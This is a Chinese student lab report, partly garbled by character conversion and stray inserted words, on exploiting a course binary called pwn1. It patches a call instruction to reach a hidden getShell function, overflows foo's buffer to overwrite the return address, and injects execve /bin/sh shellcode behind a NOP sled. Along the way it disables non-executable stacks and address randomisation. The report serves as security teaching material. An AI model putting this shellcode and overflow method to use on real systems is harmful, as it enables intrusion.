逆向与Bof基础

一逆向及Bof基础实践说明html

 实践目标linux

本次实践的对象是一个名为pwn1的linux可执行文件。shell

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。windows

该程序同时包含另外一个代码片断,getShell,会返回一个可用Shell。正常状况下这个代码是不会被运行的。咱们实践的目标就是想办法运行这个代码片断。咱们将学习两种方法运行这个代码片断,而后学习如何注入运行任何Shellcode安全

实验过程:bash

第一部分实验:网络

1、先下载并解压pwn1app

 

:多是因为我上课时没有注意到必须先解压后再来进行反汇编,致使实验与指导书上总是不一样,心累。。。。,后经同窗提醒,才走上正路dom

2、反汇编函数

 

 

(注:咱们找的是main下的命令,故要按enter直至到达main处)

  

"call 8048491 <foo>"是汇编指令

是说这条指令将调用位于地址8048491处的foo函数;

其对应机器指令为e8 d7ffffff”,e8即跳转之意。

原本正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-4141=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,

 

main函数调用foo,对应机器指令为“ e8 d7ffffff”,

那咱们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。

Windows计算器,直接 47d-4ba就能获得补码,是c3ffffff

下面咱们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff

此上引用与指导书。

三、复制学号文件:

 

注(cpls等都为Linux指令,我本身参考的是《鸟哥的私房菜》第三版,可使用man 来查询用法,还有强大的Tab补全键)

四、修改可执行文件

如下操做是在vi

ESC键(目的是为了进入到编辑模式)

输入以下,将显示模式切换为16进制模式                 :%!xxd

查找要修改的内容                                       /e8d7

找到后先后的内容和反汇编的对比下,确认是地方是正确的修改d7c3

转换16进制为原格式                                     :%!xxd -r

存盘退出vi                                              :wq

 

很奇怪(为何过滤了3行)

 

修改:按ESC后,箭头键移动光标到指定位置,后R+修改的字符进行修改

 

五、再反汇编看一下,call指令是否正确调用getShell

 

6、运行下改后的代码,会获得shell提示符#

实验完成

(注:在这步操做中,不知是否是人品的问题,

输入 .\20151120

结果出现了bash::没法找到那个文件或目录,我很崩,结果我问了问同窗,只有一个同窗出现了和我同样的问题,而后咱们更新了一个包以后,恢复了正常,然而并不知因此然)

 

(另,在更新包时,出现了E:没法得到锁的问题

自行百度: 输入 sudo rm /var/cache/apt/archives/lock

 sudo rm /var/lib/dpkg/lock后解决了问题)

 

 

3、实验体会

    这是我第二次接触网络安全的课程,第一次是信息安全概论,然而在此次,感受知识有莫大的提高,从未涉及过多网络攻防知识的我深感基础太差,所以,须要大量的自行充电,在此次实验中,了解了kali的一些操做命令,还有汇编语言的知识,甚至还有进制的问题,总之这门课博大精深,但愿接下来能有更大收获。

 

第二部分实验:

经过构造输入参数,形成BOF攻击,改变程序执行流

知识要求:堆栈结构,返回地址 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取 进阶:掌握ELF文件格式,掌握动态技术

 1反汇编,了解程序的基本功能

注意这个函数getShell,咱们的目标是触发这个函数  ==

 

该可执行文件正常运行是调用以下函数foo,这个函数有Buffer overflow漏洞

二、确认输入字符串哪几个字符会覆盖到返回地址

Gdb 运行程序

若是输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给2015112020151120就会运行getShell

 

3确认用什么值来覆盖返回地址

getShell的内存地址,经过反汇编时能够看到,即0804847d。

4构造输入字符串

由为咱们无法经过键盘输入\x7d\x84\x04\x08这样的16进制值,因此先生成包括这样字符串的一个文件。\x0a表示回车,若是没有的话,在程序运行时就须要手工按一下回车键

可使用16进制查看指令xxd查看input文件的内容是否如预期。

第二部分结束。

 

 

第三部分:

 

 

注入Shellcode并执行

 

 

准备一段Shellcode

shellcode就是一段机器指令(code

一般这段机器指令的目的是为获取一个交互式的shell(像linuxshell或相似windows下的cmd.exe),

因此这段机器指令被称为shellcode

在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

 

最基本的shellcode的编写可参考许同窗的文章Shellcode入门,写得很是之清楚详实。如下实践即便用该文章中生成的shellcode。以下:

 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

 

构造要注入的payload

Linux下有两种基本构造攻击buf的方法:

retaddr+nop+shellcode

nop+shellcode+retaddr

由于retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。

简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

--

 

咱们这个buf够放这个shellcode

结构为:nops+shellcode+retaddr

nop一为是了填充,二是做为“着陆区/滑行区”。

咱们猜的返回地址只要落在任何一个nop上,天然会滑到咱们的shellcode

 

而后百度了一下,install一下就ok

修改些设置。这部分的解释请看第5小节Bof攻击防护技术.

 

 execstack -s 20151120    //设置堆栈可执行

 execstack -q 20151120    //查询文件的堆栈是否可执行

X pwn1

 more /proc/sys/kernel/randomize_va_space

2

 echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

 more /proc/sys/kernel/randomize_va_space 验证一下

0

而后构造一个shellcode进行注入

注意:(cat input_shellcode;cat) | ./20151120 完了不能回车,就保持不动,另打开一个终端查找进程号,否则就出错凉凉。

Ps -ef | grep 20151120为查找进程号

Gdb调试程序:

结果以下:不知道对否,出现了非法指令,想吐。。。。

另:可参考https://wenku.baidu.com/view/503d7977f242336c1eb95e1c.html?from=search

我对堆栈等寄存器不熟,因此这个网址能够弥补知识

相关文章
相关标签/搜索